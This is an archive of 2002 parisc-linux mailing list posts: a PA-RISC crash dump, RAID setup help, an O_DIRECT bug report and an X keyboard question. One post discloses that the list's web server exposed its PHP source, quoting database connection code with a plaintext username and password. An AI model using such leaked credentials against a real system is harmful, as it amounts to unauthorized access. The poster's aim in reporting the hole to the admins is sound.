CPU State                    = 0x9e000004
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x0030000d
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0xfffffffffffa2000
System Requestor Address     = 0xfffffffffffa0000

Floating-Point Registers 0 - 31
00-03   0000001f00000000  0000000000000000  0000000000000000  
0000000000000000
04-07   2ffba00000000001  000000011015fa10  1035305000000000  
11174000103e8000
08-11   1035305000000002  ffffffff0000000a  10101fc000000000  
103ffdb300000000
12-15   0000000010347810  1117469010148340  1034781010353640  
11174000103e8000
16-19   2ffba00011174000  0000000000000002  000000001034b010  
1034781010346810
20-23   1034701010347810  103478102ffba000  cccccccd51eb874f  
0000000333333334
24-27   b38cf9b100000450  0000000600000000  0000000f102f46a8  
2ffba005102f46b4
28-31   3031323334353637  38396162101485e8  6768696a6b6c6d6e  
6f70717273747576

'9000/785 B,C,J Workstation Unarchitected (per-CPU)', rev 1, 140 bytes:

Check Summary                = 0xcb81841000000000
Available Memory             = 0x0000000020000000
CPU Diagnose Register 2      = 0x0201010000000004
CPU Status Register 0        = 0x3440c24000000000
CPU Status Register 1        = 0x8000000000000000
SADD LOG                     = 0x4800000000000000
Read Short LOG               = 0xc1af00fffed30000
ERROR_STATUS                 = 0x0000000000100010
MEM_ADDR                     = 0x000001ff3fffffff
MEM_SYND                     = 0x0000000000000000
MEM_ADDR_CORR                = 0x000001ff3fffffff
MEM_SYND_CORR                = 0x0000000000000000
RUN_DATA_HIGH                = 0x020008bc36a20000
RUN_DATA_LOW                 = 0xe840c002000014bc
RUN_CTRL                     = 0x0000005c00001658
RUN_ADDR                     = 0xc13ff0f0f0002b48
System Responder Path        = 0x00ffffffffffffff

HPMC PIM Analysis Information:

Timestamp =
  Tue Jul  9 22:21:13 GMT 2002    (20:02:07:09:22:21:13)


'9000/785 B,C,J Workstation HPMC PIM Analysis (per-CPU)', rev 0, 1304 
bytes:

CPU 1 observed a Broadcast Error on the Runway Bus.


Memory/IO Controller Error Analysis Information:

The Memory/IO Controller only observed the Broadcast Error.  It did not 
log
any additional information about the HPMC.

-----------------  Processor 1 LPMC Information ------------------

Check Type                   = 0x00000000
I/D Cache Parity Info        = 0x00000000
Cache Check                  = 0x00000000
TLB Check                    = 0x00000000
Bus Check                    = 0x00000000
Assists Check                = 0x00000000
Assist State                 = 0x00000000
Path Info                    = 0x00000000
System Responder Address     = 0x0000000000000000
System Requestor Address     = 0x0000000000000000

-----------------  Processor 1 TOC Information -------------------

General Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  
0000000000000000

<Press any key to continue (q to quit)>

Control Registers 0 - 31
00-03   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
04-07   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
08-11   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
12-15   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
16-19   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
20-23   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
24-27   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
28-31   0000000000000000  0000000000000000  0000000000000000  
0000000000000000
Space Registers 0 - 7

00-03   00000000          00000000          00000000          00000000
04-07   00000000          00000000          00000000          00000000

IIA Space                    = 0x0000000000000000
IIA Offset                   = 0x0000000000000000
CPU State                    = 0x00000000

Memory Error Log Information:

Timestamp =
  Tue Jul  9 22:21:13 GMT 2002    (20:02:07:09:22:21:13)


'9000/785 B,C,J Workstation Memory Error Log', rev 0, 64 bytes:

   No memory errors logged


I/O Module Error Log Information:

Timestamp =
  Tue Jul  9 22:21:13 GMT 2002    (20:02:07:09:22:21:13)


'9000/785 B,C,J Workstation IO Error Log', rev 0, 228 bytes:

 Rope     Word1        Word2            Word3
------ ------------ ------------
   0    0x00000000   0x0e0cc009   0x00000000fed30048
   1    0x00000000   0x1e0cc009   0x00000000fed32048
   2    ----------   0x2e0cc229   ------------------
   3    ----------   0x3e0cc009   ------------------
   4    0x00000000   0x4e0cc009   0x00000000fed38048
   5    ----------   0x5e0cc009   ------------------
   6    0x00000000   0x6e0cc009   0x00000000fed3c048
   7    ----------   0x7e0cc009   ------------------


> 
> > 
> > thanks,
> > grant
> > 
> > _______________________________________________
> > parisc-linux mailing list
> > parisc-linux@lists.parisc-linux.org
> > http://lists.parisc-linux.org/mailman/listinfo/parisc-linux
> > 
> 
> 

-- 
	NEW YORK-- Kraft Foods, Inc. announced today that its board of
directors unanimously rejected the $11 billion takeover bid by Philip
Morris and Co. A Kraft spokesman stated in a press conference that the
offer was rejected because the $90-per-share bid did not reflect the
true value of the company.
	Wall Street insiders, however, tell quite a different story.
Apparently, the Kraft board of directors had all but signed the takeover
agreement when they learned of Philip Morris' marketing plans for one of
their major Middle East subsidiaries.  To a person, the board voted to
reject the bid when they discovered that the tobacco giant intended to
reorganize Israeli Cheddar, Ltd., and name the new company Cheeses of Nazareth.





From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] L2000 stable with SMP and RAID
Date: Thu, 11 Jul 2002 08:15:22 +0200 (CEST)
Lines: 38
Approved: news@gmane.org
Message-ID: <1026368122.3d2d227abe9fa@webmail.tiscalinet.be>
References: <005801c22780$93f57770$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621489 10263 80.91.229.3 (22 Nov 2014 01:58:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:09 +0000 (UTC)
Cc: 'Joel Soete' <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: James Braid <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 00:15:53 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id DE2EA4865
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 00:15:51 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17SXEY-0002mg-00; Thu, 11 Jul 2002 08:15:22 +0200
In-Reply-To: <005801c22780$93f57770$5e01000a@bongo>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15397

Quoting James Braid <james.braid@peace.com>:

> > For my part I would like to test RAID-1 on my B180 (2 of 9Gb).
> > Could you let me know more on the RAID configuration you implemented?
> > Do you have a special slice (partition) for your F0 (parisc 
> > bootloader) 
> > and may be also for /boot?
> 
> My RAID config is just a 2-disk RAID-0 array for testing at the moment.
> Heres the raidtab (probably not a lot of use to you though):
> 
> ----
> 
> raiddev                 /dev/md0
> raid-level              0
> nr-raid-disks           2
> chunk-size              4
> 
> device                  /dev/sdb1
> raid-disk               0
> device                  /dev/sdc1
> raid-disk               1
> 
> ----
> 
> Theres a RAID-1 root howto for Debian which I have used in the past
> here: http://www.james.rcpt.to/programs/debian/raid1/ 
> 
Very interesting.

Many thanks,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)



From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] O_DIRECT on devices
Date: Thu, 11 Jul 2002 09:22:59 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20020711082259.GF822@tykepenguin.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621489 10265 80.91.229.3 (22 Nov 2014 01:58:09 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:09 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 02:23:03 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3B7424867
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 02:23:03 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17SZE3-0003fQ-00
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 09:22:59 +0100
Mail-Followup-To: parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15398

I'm currently working on LVM2 and we want to use O_DIRECT to write the metadata
from userspace. so I open a partition with O_DIRECT and try to read/write the
data from an aligned buffer.

This works fine on Alpha & Intel but seems very unreliable on parisc for some
reason. Sometimes it works, sometimes it oopses "do_page_fault() pid=2120
command='lvm' type=15 address=0x00000001" and sometimes I just get back the
wrong information (at least LVM thinks its wrong I haven't check in detail just
what is up with it).

I haven't tried writing yet - I'd rather not think what might happen to my disk
just ATM :)

This is a C110 with 256meg of memory running 2.4.18-pa46

patrick




From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Patrick Caulfield <patrick@tykepenguin.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] O_DIRECT on devices
Date: Thu, 11 Jul 2002 10:35:09 +0100
Lines: 32
Approved: news@gmane.org
Message-ID: <20020711093509.GH822@tykepenguin.com>
References: <20020711082259.GF822@tykepenguin.com> <3D2D4B4B.4010705@deaprofessionale.it>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-15
X-Trace: ger.gmane.org 1416621490 10270 80.91.229.3 (22 Nov 2014 01:58:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:10 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Rodolfo Baselli <rodolfo.baselli@deaprofessionale.it>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 03:35:12 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tyke.pjc.net (public1-leed3-6-cust141.leed.broadband.ntl.com [80.0.5.141])
	by dsl2.external.hp.com (Postfix) with ESMTP id 826B44846
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 03:35:12 -0600 (MDT)
Original-Received: from patrick by tyke.pjc.net with local (Exim 3.35 #1 (Debian))
	id 17SaLt-0003oO-00; Thu, 11 Jul 2002 10:35:09 +0100
Mail-Followup-To: Rodolfo Baselli <rodolfo.baselli@deaprofessionale.it>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
In-Reply-To: <3D2D4B4B.4010705@deaprofessionale.it>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15399

On Thu, Jul 11, 2002 at 11:09:31AM +0200, Rodolfo Baselli wrote:
> Patrick Caulfield wrote:
> >I'm currently working on LVM2 and we want to use O_DIRECT to write the 
> >metadata
> >from userspace. so I open a partition with O_DIRECT and try to read/write 
> >the
> >data from an aligned buffer.
> 
> Hmmm, so is LVM ready for HP PA-RISC Linux? WOW!

LVM2 works fine - I use it all the time on my HP and Alpha boxes. O_DIRECT is an
optimisation I would like to have in there though cos it avoids a lot of
buffer-cache nastiness when clustering (yes, I'm working on that too but that
bit won't be GPLed)

 
> By the way, I'm reading right now "The catcher in the rye" by J.D. 
> Salinger, and as I glanced at your 2nd name I felt like I was still 
> reading the book! :-)))

:-)


If you were a pop-art expert you might have got even more deja-vu !
http://www.postershop.com/Caulfield-Patrick/Caulfield-Patrick-After-Lunch-2405657.html

I blame my parents...

patrick




From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Dimitris Zilaskos <dzila@tassadar.physics.auth.gr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] x windows keybord problem on 715/33
Date: Thu, 11 Jul 2002 18:50:40 +0300 (EEST)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.44.0207111849360.32161-100000@tassadar.physics.auth.gr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416621490 10274 80.91.229.3 (22 Nov 2014 01:58:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:10 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 09:50:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from tassadar.physics.auth.gr (tassadar.physics.auth.gr [155.207.123.25])
	by dsl2.external.hp.com (Postfix) with ESMTP id C96CD484B
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 09:50:42 -0600 (MDT)
Original-Received: from localhost (dzila@localhost)
	by tassadar.physics.auth.gr (8.11.6/8.11.6) with ESMTP id g6BFoeP32197
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 18:50:40 +0300
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15400

 Hello ,

I am trying to setup X windows in an 715/33 . I can start various Windows
managers like wdm and xdm , but i cant get keys 'i' and 'o' to work (
they work ok in console ).All other keys work ok .

 I have the following lines in the XF86Config

   Option "XkbdRules" "xfree86"
   Option "XkbModel" "hphil"


 and in my  /etc/X11/xkb/rules/xfree86:
     hp = xfree86 pc(pc104)
     hphil = hp(hil) hp(hil)

 I am running 2.4.18-pa41 . Newer kernels till 54 either freeze my
keyboard or have ksoftirqd consume 100% cpu ( or both) . I am using a
serial  mouse for X . It works  most of the time but sometines the pointer
stops moving untill I press a key . Work ok under console though .

 Any advice how to make 'o' and 'i'  work ?

 Regards ,
--
=============================================================================

Dimitris Zilaskos

Department of Physics @ Aristotle Univercity of Thessaloniki , Greece
=============================================================================




From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] L2000 stable with SMP and RAID
Date: Thu, 11 Jul 2002 18:25:05 +0200 (CEST)
Lines: 51
Approved: news@gmane.org
Message-ID: <1026404705.3d2db1618f064@webmail.tiscalinet.be>
References: <005801c22780$93f57770$5e01000a@bongo>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416621490 10278 80.91.229.3 (22 Nov 2014 01:58:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:10 +0000 (UTC)
Cc: 'Joel Soete' <joel.soete@freebel.net>,
	parisc-linux@lists.parisc-linux.org
To: James Braid <james.braid@peace.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 12:58:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 9D3B44829
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 12:58:36 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 17Sgkb-0001Nf-00; Thu, 11 Jul 2002 18:25:05 +0200
In-Reply-To: <005801c22780$93f57770$5e01000a@bongo>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.4
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15401

Hi James,

Quoting James Braid <james.braid@peace.com>:

> > For my part I would like to test RAID-1 on my B180 (2 of 9Gb).
> > Could you let me know more on the RAID configuration you implemented?
> > Do you have a special slice (partition) for your F0 (parisc 
> > bootloader) 
> > and may be also for /boot?
> 
> My RAID config is just a 2-disk RAID-0 array for testing at the moment.
> Heres the raidtab (probably not a lot of use to you though):
> 
> ----
> 
> raiddev                 /dev/md0
> raid-level              0
> nr-raid-disks           2
> chunk-size              4
> 
> device                  /dev/sdb1
> raid-disk               0
> device                  /dev/sdc1
> raid-disk               1
> 
> ----
> 
> Theres a RAID-1 root howto for Debian which I have used in the past
> here: http://www.james.rcpt.to/programs/debian/raid1/ 
> 
Thanks to this, I build on my second disk 
sdb1    (a F0 slice of about 16Mb)
sdb2    swap (128Mb == Physical memory size)
sdb3    /boot (about 64Mb to be able to test severall kernels)
sdb5 => md0   /      (about 1.5 Gb)

modify fstab to replace my boot device by /dev/md0;
modify palo.conf to make this disk bootable and find its kernel into /boot
partition and that works.

I just now have to complete the raidtab configuration and recover the rest of my
own slices than finaly fully rebuild md in non degraded mode and a small script
to duplicate F0 and boot slices (not yet supported as md AFAIK).

Many thanks again for your help,
    Joel


-------------------------------------------------
This mail sent through Tiscali Webmail (http://webmail.tiscali.be)


From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Stephan Trajkoff" <stephan@itp.bg>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Not working PHP, security hole
Date: Thu, 11 Jul 2002 22:49:15 +0300
Lines: 81
Approved: news@gmane.org
Message-ID: <20020711194810.2007D485F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416621491 10281 80.91.229.3 (22 Nov 2014 01:58:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:11 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 13:48:11 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from ns.itp.bg (itp.solo.bg [212.72.196.10])
	by dsl2.external.hp.com (Postfix) with SMTP id 2007D485F
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 13:48:10 -0600 (MDT)
Original-Received: (qmail 32562 invoked from network); 11 Jul 2002 19:49:16 -0000
Original-Received: from softdnserror (HELO www.itp.bg) (httpd@212.72.204.1)
  by softdnserror with SMTP; 11 Jul 2002 19:49:16 -0000
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:15402

Please admins of parisc-linux to fix their problem
<?
$_db_host=3D"localhost";
#$_db_host=3D"puffin.external.hp.com";
$_db_user=3D"parisc";
$_db_password=3D"parisc";
$_db_database=3D"hw";
$_db_connection=3D"_db_unconnected";

$_db_result=3D"";
$_db_row=3D"";

Function connectDatabase(){
 global $_db_host;
 global $_db_user;
 global $_db_password;
 global $_db_connection;
 if($_db_connection=3D=3D"_db_unconnected"){
  $_db_connection=3Dmysql_connect
($_db_host,$_db_user,$_db_password);
  }
 }

Function queryDatabase($query){
 global $_db_database;
 global $_db_result;
 $_db_result =3D mysql_db_query($_db_database,$query);
 return $_db_result;
 }

Function nextRow($result =3D "_db_unset"){
 global $_db_result;
 global $_db_row;

 if($result=3D=3D"_db_unset"){
  $_db_row =3D mysql_fetch_object($_db_result);
  }
 elseif(is_integer($result)){
  $_db_row =3D mysql_fetch_object($result);
  }
 else {
  return "";
  }
 return $_db_row;
 }

Function numRows($result =3D "_db_unset"){
 global $_db_result;

 if($result=3D=3D"_db_unset"){
  return mysql_num_rows($_db_result);
  }
 elseif(is_integer($result)){
  return mysql_num_rows($result);
  }
 return "";
 }

Function disconnectDatabase(){
 global $_db_result;
 global $_db_connection;
 mysql_free_result($_db_result);
 mysql_close($_db_connection);
 }

Function insertId(){
 return mysql_insert_id();
 }

Function escapeString($instring){
 return AddSlashes($instring);
 }
?>
use apachetoolbox to compile apache php mysql
www.apachetoolbox.com

-------------------------------------------------------------------
-->> Add WEB ACCESS to your POP email accounts with
-->> FREE Perl CGI scripts! Download today! http://www.adjeweb.com
-------------------------------------------------------------------


From - Thu Nov 08 21:23:32 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Not working PHP, security hole
Date: Thu, 11 Jul 2002 14:18:02 -0600
Lines: 12
Approved: news@gmane.org
Message-ID: <20020711201802.2F04737E97@carmen.fc.hp.com>
References: <20020711194810.2007D485F@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621491 10286 80.91.229.3 (22 Nov 2014 01:58:11 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:58:11 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Stephan Trajkoff" <stephan@itp.bg>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Thu Jul 11 14:18:04 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [156.153.255.205])
	by dsl2.external.hp.com (Postfix) with ESMTP id 793DA4869
	for <parisc-linux@lists.parisc-linux.org>; Thu, 11 Jul 2002 14:18:04 -0600 (MDT)
Original-Received: from smtp2.fc.hp.com (smtp2b.fc.hp.com [15.15.136.253])
	by atlrel6.hp.com (Postfix) with ESMTP
	id 091619C2; Thu, 11 Jul 2002 16:18:04 -0400 (EDT)
Original-Received: from ldl.fc.hp.com (ldl.fc.hp.com [15.1.50.190])
	by smtp2.fc.hp.com (Postfix) with ESMTP
	id C531537F77; Thu, 11 Jul 2002 14:18:03 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by ldl.fc.hp.com (Postfix) with ESMTP
	id 482B7437A; Thu, 11 Jul 2002 14:18:03 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 2F04737E97; Thu, 11 Jul 2002 14:18:02 -0600 (MDT)
X-Mailer: exmh version 2.5 07/13/2001 (debian 2.5-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Stephan Trajkoff" <stephan@itp.bg> 
   of "Thu, 11 Jul 2002 22:49:15 +0300." <20020711194810.2007D485F@dsl2.external.hp.com> 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
